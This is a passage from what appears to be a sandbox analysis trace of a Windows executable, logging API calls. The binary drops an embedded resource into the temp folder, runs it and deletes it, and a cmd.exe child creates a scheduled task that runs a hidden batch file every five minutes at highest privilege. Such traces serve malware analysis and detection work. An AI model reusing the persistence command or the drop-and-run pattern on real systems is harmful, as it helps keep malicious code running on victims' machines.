¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0083.142] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0083.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x15©\x1féäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0083.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5991e0 [0083.142] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0083.142] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0083.142] RtlSizeHeap (HeapHandle=0x580000, Flags=0x0, MemoryPointer=0x5991e0) returned 0x80 [0083.142] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0083.142] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0083.143] GetCurrentProcess () returned 0xffffffff [0083.143] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0083.143] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0083.143] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0083.143] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0083.143] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0083.143] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0083.143] LockResource (hResData=0x43c648) returned 0x43c648 [0083.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5996b0 [0083.143] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0083.144] GetFileType (hFile=0x90) returned 0x1 [0083.144] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0083.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1000) returned 0x5996d0 [0083.327] WriteFile (in: hFile=0x90, lpBuffer=0x5996d0*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x5996d0*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0083.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5996d0 | out: hHeap=0x580000) returned 1 [0083.327] CloseHandle (hObject=0x90) returned 1 [0083.327] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0083.327] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xcec, dwThreadId=0xcf0)) returned 1 [0083.564] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0085.085] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0085.938] CloseHandle (hObject=0x94) returned 1 [0085.938] CloseHandle (hObject=0x90) returned 1 [0085.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5987b0 | out: hHeap=0x580000) returned 1 [0085.950] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0085.950] ExitProcess (uExitCode=0x0) [0085.950] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597088 | out: hHeap=0x580000) returned 1 Process: id = "152" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0xabab000" os_pid = "0xcbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x688" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C schtasks /Create /tn DSHCA /tr \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\" /sc minute /mo 5 /RL HIGHEST /F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 702 os_tid = 0xcc0 [0083.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fbf4 | out: lpSystemTimeAsFileTime=0x26fbf4*(dwLowDateTime=0xd5c2e4c0, dwHighDateTime=0x1d5d06a)) [0083.835] GetCurrentProcessId () returned 0xcbc [0083.835] GetCurrentThreadId () returned 0xcc0 [0083.835] GetTickCount () returned 0x115cea5 [0083.835] QueryPerformanceCounter (in: lpPerformanceCount=0x26fbec | out: lpPerformanceCount=0x26fbec*=22578755671) returned 1 [0083.836] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0083.836] __set_app_type (_Type=0x1) [0083.836] __p__fmode () returned 0x76be31f4 [0083.836] __p__commode () returned 0x76be31fc [0083.836] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0083.836] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0083.836] GetCurrentThreadId () returned 0xcc0 [0083.836] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xcc0) returned 0x60 [0083.836] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0083.836] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0083.837] SetThreadUILanguage (LangId=0x0) returned 0x409 [0084.184] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0084.184] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26fb84 | out: phkResult=0x26fb84*=0x0) returned 0x2 [0084.184] VirtualQuery (in: lpAddress=0x26fbbb, lpBuffer=0x26fb54, dwLength=0x1c | out: lpBuffer=0x26fb54*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0084.184] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fb54, dwLength=0x1c | out: lpBuffer=0x26fb54*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0084.184] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fb54, dwLength=0x1c | out: lpBuffer=0x26fb54*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0084.184] VirtualQuery (in: lpAddress=0x173000, lpBuffer=0x26fb54, dwLength=0x1c | out: lpBuffer=0x26fb54*(BaseAddress=0x173000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0084.184] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fb54, dwLength=0x1c | out: lpBuffer=0x26fb54*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0084.184] GetConsoleOutputCP () returned 0x1b5 [0084.185] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0084.185] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0084.185] _get_osfhandle (_FileHandle=1) returned 0x7 [0084.185] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0084.185] _get_osfhandle (_FileHandle=1) returned 0x7 [0084.185] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0084.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0084.186] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0084.186] _get_osfhandle (_FileHandle=0) returned 0x3 [0084.186] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0084.186] _get_osfhandle (_FileHandle=0) returned 0x3 [0084.186] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0084.187] GetEnvironmentStringsW () returned 0x2c2230* [0084.187] GetProcessHeap () returned 0x2b0000 [0084.187] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb36) returned 0x2c2d70 [0084.187] FreeEnvironmentStringsW (penv=0x2c2230) returned 1 [0084.187] GetProcessHeap () returned 0x2b0000 [0084.187] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x4) returned 0x2bec30 [0084.187] GetEnvironmentStringsW () returned 0x2c2230* [0084.187] GetProcessHeap () returned 0x2b0000 [0084.187] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb36) returned 0x2c38b0 [0084.187] FreeEnvironmentStringsW (penv=0x2c2230) returned 1 [0084.187] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26eaf4 | out: phkResult=0x26eaf4*=0x68) returned 0x0 [0084.187] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x0, lpData=0x26eb00*=0x0, lpcbData=0x26eaf8*=0x1000) returned 0x2 [0084.187] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x1, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.187] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x0, lpData=0x26eb00*=0x1, lpcbData=0x26eaf8*=0x1000) returned 0x2 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x0, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x40, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x40, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x0, lpData=0x26eb00*=0x40, lpcbData=0x26eaf8*=0x1000) returned 0x2 [0084.188] RegCloseKey (hKey=0x68) returned 0x0 [0084.188] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26eaf4 | out: phkResult=0x26eaf4*=0x68) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x0, lpData=0x26eb00*=0x40, lpcbData=0x26eaf8*=0x1000) returned 0x2 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x1, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x0, lpData=0x26eb00*=0x1, lpcbData=0x26eaf8*=0x1000) returned 0x2 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x0, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x9, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x4, lpData=0x26eb00*=0x9, lpcbData=0x26eaf8*=0x4) returned 0x0 [0084.188] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26eafc, lpData=0x26eb00, lpcbData=0x26eaf8*=0x1000 | out: lpType=0x26eafc*=0x0, lpData=0x26eb00*=0x9, lpcbData=0x26eaf8*=0x1000) returned 0x2 [0084.188] RegCloseKey (hKey=0x68) returned 0x0 [0084.188] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710e7 [0084.188] srand (_Seed=0x5e2710e7) [0084.188] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C schtasks /Create /tn DSHCA /tr \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\" /sc minute /mo 5 /RL HIGHEST /F" [0084.188] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C schtasks /Create /tn DSHCA /tr \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat\" /sc minute /mo 5 /RL HIGHEST /F" [0084.189] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0084.189] GetProcessHeap () returned 0x2b0000 [0084.189] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x210) returned 0x2c2230 [0084.189] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2c2238, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0084.189] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0084.189] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0084.189] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0084.190] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.190] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0084.190] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0084.190] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0084.190] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0084.190] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0084.190] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0084.190] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0084.190] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0084.190] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0084.190] GetProcessHeap () returned 0x2b0000 [0084.190] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2c2448 [0084.190] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f8c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0084.190] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f8c0, lpFilePart=0x26f8bc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f8bc*="Desktop") returned 0x25 [0084.190] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0084.190] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f63c | out: lpFindFileData=0x26f63c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x2c20b0 [0084.190] FindClose (in: hFindFile=0x2c20b0 | out: hFindFile=0x2c20b0) returned 1 [0084.190] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f63c | out: lpFindFileData=0x26f63c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2c20b0 [0084.190] FindClose (in: hFindFile=0x2c20b0 | out: hFindFile=0x2c20b0) returned 1 [0084.190] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0084.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f63c | out: lpFindFileData=0x26f63c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x2c20b0 [0084.191] FindClose (in: hFindFile=0x2c20b0 | out: hFindFile=0x2c20b0) returned 1 [0084.191] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0084.191] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0084.191] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0084.191] GetProcessHeap () returned 0x2b0000 [0084.191] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c2d70 | out: hHeap=0x2b0000) returned 1 [0084.191] GetEnvironmentStringsW () returned 0x2c43f0* [0084.191] GetProcessHeap () returned 0x2b0000 [0084.191] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xb36) returned 0x2c2ca8 [0084.191] FreeEnvironmentStringsW (penv=0x2c43f0) returned 1 [0084.191] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: 